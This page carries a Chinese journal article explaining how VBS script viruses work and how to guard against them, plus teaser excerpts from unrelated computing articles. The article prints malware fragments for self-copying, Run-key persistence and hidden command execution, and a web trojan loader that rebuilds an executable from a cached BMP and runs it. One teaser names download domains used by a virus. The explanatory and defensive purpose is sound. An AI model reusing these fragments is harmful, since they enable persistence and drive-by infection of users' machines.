VBS脚本病毒原理分析及防范

来源 :网络与信息 | 被引量 : 0次 | 上传用户:swgjtd44qx0
下载到本地 , 更方便阅读
声明 : 本文档内容版权归属内容提供方 , 如果您对本文有版权争议 , 可与客服联系进行内容授权或下架
论文部分内容阅读
  1 引言
  
  VBS语言为程序设计提供了很大的方便,特别是在动态网页设计中使用广泛。但是VBS的各种特点也使之成为制造病毒的理想工具。2000年5月4日欧美爆发了“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。2002年4月出现的新欢乐时光病毒也席卷了中国很多电脑,并在“2003年中国计算机病毒疫情调查技术分析报告”的十大病毒中,高居榜首。
  
  2 VBS病毒的特点
  
  顾名思义VBS病毒是用VBS语言编写的。VBS是“Visual Basic Script”的缩写,就是VB语言的脚本版。该脚本语言功能非常强大,它们利用开放性的特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,为制造病毒提供了非常好的条件。
  
  3 VBS病毒的基本原理
  
  (1) VBS脚本病毒如何感染文件
  VBS脚本病毒一般是直接通过自我复制来感染文件的。譬如爱虫病毒是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。病毒自我复制的代码如下:
  set copy1=createobject("scripting.filesystemobject")'创建一个文件系统对象
  copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")'脚本自我复制
  上面描述了病毒文件如何进行自我复制的,只要在病毒代码中加上上述代码就可实现自我复制了。
  (2) VBS脚本病毒如何修改注册表
  注册表几乎是每种病毒都喜欢光顾的地方。这是因为病毒要想在用户重启计算机之后仍能够运行,一般都要通过修改注册表中的启动项的键值。当然,VBS病毒也不例外,而且VBS脚本对注册表的修改十分简单。只要通过如下代码就可做到:
  以下是一个蠕虫病毒的修改注册表部分的代码:
  Dim Reg'定义Wscript.Shell对象
  SetReg=CreateObject ( "wscript.Shell")'确定创建对象项目
   '把资料写入Registry
  Reg.RegWrite
  "HKEY_LOCAL_MACHINE\SOFTWARE
  \Microsoft \ Windows \ CurrentVersion \Run
  Mapi","C:\WINNT\SYSTEM\Mapi.exe"
  '在启动项中增加病毒项
  (3) VBS 脚本病毒如何直接运行 windows命令
  除了能对注册表修改,vbs脚本还能直接运行windows命令。只要使用如下代码:
  Set objShell = CreateObject("Wscript.Shell")'创建Wscript.Shell对象
  objShell.Run( "wmplayer.exe D:\1.MP3"),0,TRUE'在后台播放1.MP3
  这将使vbs脚本病毒的功能更加强大。也就是说,任何windows下的操作几乎都可以在病毒中实现。这些病毒可以轻易地关掉你的杀毒软件,甚至也可以执行format这样的格式化磁盘的命令。这将给用户带来毁灭性的打击。
  (4) VBS脚本病毒制造机的使用
  这是一些菜鸟最喜欢用的制造VBS脚本病毒的方法。这种方法非常简单,一个几乎不懂编程的人可以编出具有相当威力的病毒。这种病毒制造机充分利用了脚本语言的优越性。因为脚本语言是解释执行的,不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,病毒制造机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。
  (5) 利用VBS脚本进行网页挂马
  目前VBS使用最多的地方应该就是在网页设计中了。特别是在动态网页asp或html中嵌入VBS可以实现相当多的功能。网页挂马就是用这种原理。所谓网页挂马就是黑客自己写一个网页,当你浏览该网页时会自动下载木马并且运行。为了让用户浏览该网页,黑客往往会入侵一个正常的网站,然后在该网页上加上打开网马地址的html语句。这样当有用户访问该网站时会自动打开网马地址从而中木马。下面我们来分析一下挂马的原理:
  以下是一个种BMP木马网页的核心代码:
  CACHE=wsh.RegRead
  ("HKCU \Software \ Microsoft\Windows
  \ CurrentVersion \ Explorer \ Shell Folders
  Cache")
  '通过读注册表得到网页缓存地址
  str=FSO.GetParentFolderName(CACH
  E)&"\"&CACHE.name&"\"&"1.bmp");
  '得到bmp临时文件的完整路径
  set File=FSO.GetFile(str)'定义bmp文件的对象
  File.Copy(tmp&"tmp.dat")'复制bmp文件为tmp.dat文件
  set Lt=FSO.CreateTextFile(tmp&"tmp.bat")'创建tmp.bat批处理文件
  Lt.WriteLine("@echo off")'写tmp.bat文件
  Lt.WriteLine( "debug" & tmp & "tmp.dat<"&tmp&"tmp.in>"&tmp&"tmp.out")
  Lt.WriteLine ("copy"& tmp& "tmp.dat" &
  winsys&"1.exe>"&tmp&"tmp.out")
  Lt.WriteLine(winsys&"1.exe")
  Lt.Close
  WSH.Run tmp&"tmp.bat",false,6
  '运行tmp.bat文件
  这个BMP木马的工作原理是这样的:首先将木马文件加上一个BMP文件头转换成BMP文件,并且在种马网页上添加这个BMP图片文件。当你打开了这个网页时系统会自动将这个文件下到Internet缓存中。再通过读注册表得到用户缓存目录,将该文件另存为tmp.dat文件。然后再生成一个批处理文件。这个批处理文件的功能是调用系统自带的debug程序,通过tmp.in中的命令对tmp.dat文件操作,过滤掉tmp.dat中的BMP文件头,还原为1.exe文件,最后再运行这个木马。写完这个批处理后,VBS脚本再调用这个批处理,完成批处理中的操作。这样当你浏览网页时就自动将木马下载到本地运行了。
  
  4 VBS病毒的防范方法
  
  VBS病毒虽然功能强大,但是仍然有很多弱点。正是因为弱点比较明显,使得近几年来VBS病毒不是很流行。下面我们介绍VBS病毒的防范方法:
  (1)禁用文件系统对象FileSystemObject。用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。
  (2) 删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,同时取消隐藏系统中已知文件类型的扩展名。这两项可在文件夹选项中设置。
  (3) 在Windows\system32目录中,找到WScript.exe,更改名称或者删除。
  (4)要彻底防治VBS网络蠕虫病毒,还需设置一下浏览器。把“ActiveX控件及插件”的一切设为禁用,同时将系统的网络连接的安全级别设置至少为“中等”。
  (5)禁止Outlook Express的自动收发邮件功能,这样将阻止蠕虫通过邮件的传播。
  (6) 最后一项也是最简单的,就是安装杀毒软件。目前国内杀毒软件已经做得比较好了。只要你安装了可更新病毒库的杀毒软件,还是可以查杀大部分病毒的。
  
  ————————————
  参考文献
  [1]杜宏毅,郑玄宜.完全接触ASP之VBScript.电子工业出版社,2002.
  [2]许卫林,宋先斌,党齐民.VBScript+ASP动态网页设计制作.中国电力出版社,2002.
其他文献
自己电脑的WindowsXP Pro和Windows Vista双系统运行已近一年。总体感觉和评价:系统稳定、运行流畅,在诸如“熊猫烧香”之类肆虐横行的时候,也幸免遇难未受感染,平时也未受到过病毒、木马、恶意软件的侵害,没有出现过死机、黑屏、蓝屏等现象。以上评价,没有丝毫水分和夸大,因为没有这个必要。说是“秘笈”——“秘”尚勉强说得过去,因为全系经验之谈,一直未曾拿出来让大家评判;“笈”则名不副实
期刊
system.exe病毒本身没有多少破坏性,也不难对付。  可是,这个病毒会从网上下载大量的木马程序,并激活那些木马。  以下网址就是system.exe病毒下载木马的地方:    http:\\222.hfdy1515.net (为了避免误操作,我改成反斜杠了)  http:\\xiazai.cpushpop.com    一个被system.exe病毒感染的系统里面通常都有30多个不同类型的木
期刊
2008年4月16日微软发布了Vista SP1中文正式版,并邀请媒体朋友一起对Vista SP1的很多问题进行了讨论和解答。    会议上微软透漏了很多关于Vista SP1的细节,而这些细节绝对是那些关心Vista朋友最想要了解到的,包括激活、安装等等。下面就和大家一起分享一下。     细节一:关于Vista SP1中文版的发布时间    用户的问题:2008年2月微软就已经发布了英文版的V
期刊
1.首先国民的消费意识    中国人历来勤俭节约,而且电脑又作为大件购买,所以说目前电脑普及是普及了。按照平均一台电脑4000元算,对中国人来说已经是很奢侈的物品了,就像以前的电视,很多人看十年,还在用,为什么?因为没有坏,而电脑很多人也是抱着这样的想法购买的。很多人的电脑是2003年左右购买的,没有换电脑的需求,但是2003年的配置用来运行vista,其运行速度大家可以想象。这是影响Vista最
期刊
今天和大家分享有关Vista中和硬盘保护有关的因素和操作技巧,希望能对各位有所帮助。Vista中有一些功能和服务对硬盘的寿命有较大的影响,我们可以少用或者禁用。     1.Volume Shadow Copy Service 卷映影复制服务    Volume Shadow Copy Service(简写VSS,意为卷映影复制服务),VSS具有快速数据备份和恢复的功能,它通过在卷管理模块上加入快
期刊
“Windows 7是Vista的加强版”等类似评论层出不穷,Vista或许是件失败的产品,连微软也想通过Windows 7来终结这一痛苦的经历。在PDC大会上,微软Windows产品部经理Gabriel Aul简单解释了,Windows 7是有资格“上位”的,是可以超越Vista的,以下就是Windows 7的特性:    (1) 如果你的程序或硬件能运行在Vista上,那么他可以在Window
期刊
开机的时候,出现如下英文提示:  primary master drive ATAPI Incompatible   no IDE master H.D.D.Deteced!   press F1 to resume.  这个怎么解决呢?  开机按F1键,这是因为你的BIOS设置不当但也能正常引导系统,属非致命性故障,按F1是在问你是否继续。   你没有安装软盘驱动器,但是在CMOS中设置了开启软
期刊
不论是平时配置系统自启动项,还是检查病毒的自启动项,msconfig.exe都是一个很有用的工具。   msconfig一般位于C:\ WINDOWS \ pc  health\help\ctrbinaries目录下,也可以位于system32目录下,有时候在dllcache目录下也能找到。  在开始菜单,点击运行,输入msconfig并回车,就进入了msconfig系统配置实用程序界面。  ms
期刊
随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起。这里介绍学习Linux的一些建议。     一、从基础开始    常常有些朋友在Linux论坛问一些问题,不过,其中大多数的问题都是很基础的。例如:为什么我使用一个命令的时候,系统告诉我找不到该目录,我要如何限制使用者的权限等问题,这些问题其实都不是很难的,只要了解了 Linu
期刊
关键词:ARP;双绑定;防火墙    单位局域网连入互联网后经常受ARP攻击,命令行格式下用ARP -a查看,出现多个IP与MAC行或MAC紊乱。此病毒通过对路由器ARP表的欺骗及对内网计算机的网关欺骗手段截获网关数据伪造网关造成网内其它计算机的通信故障,即病毒机自已伪装成路由器,使真正的路由器暂时“休眠”,通过这台病机收发数据,可导致网络不通、瘫痪,使网管员疲于应对。  设置静态IP,路由器与各
期刊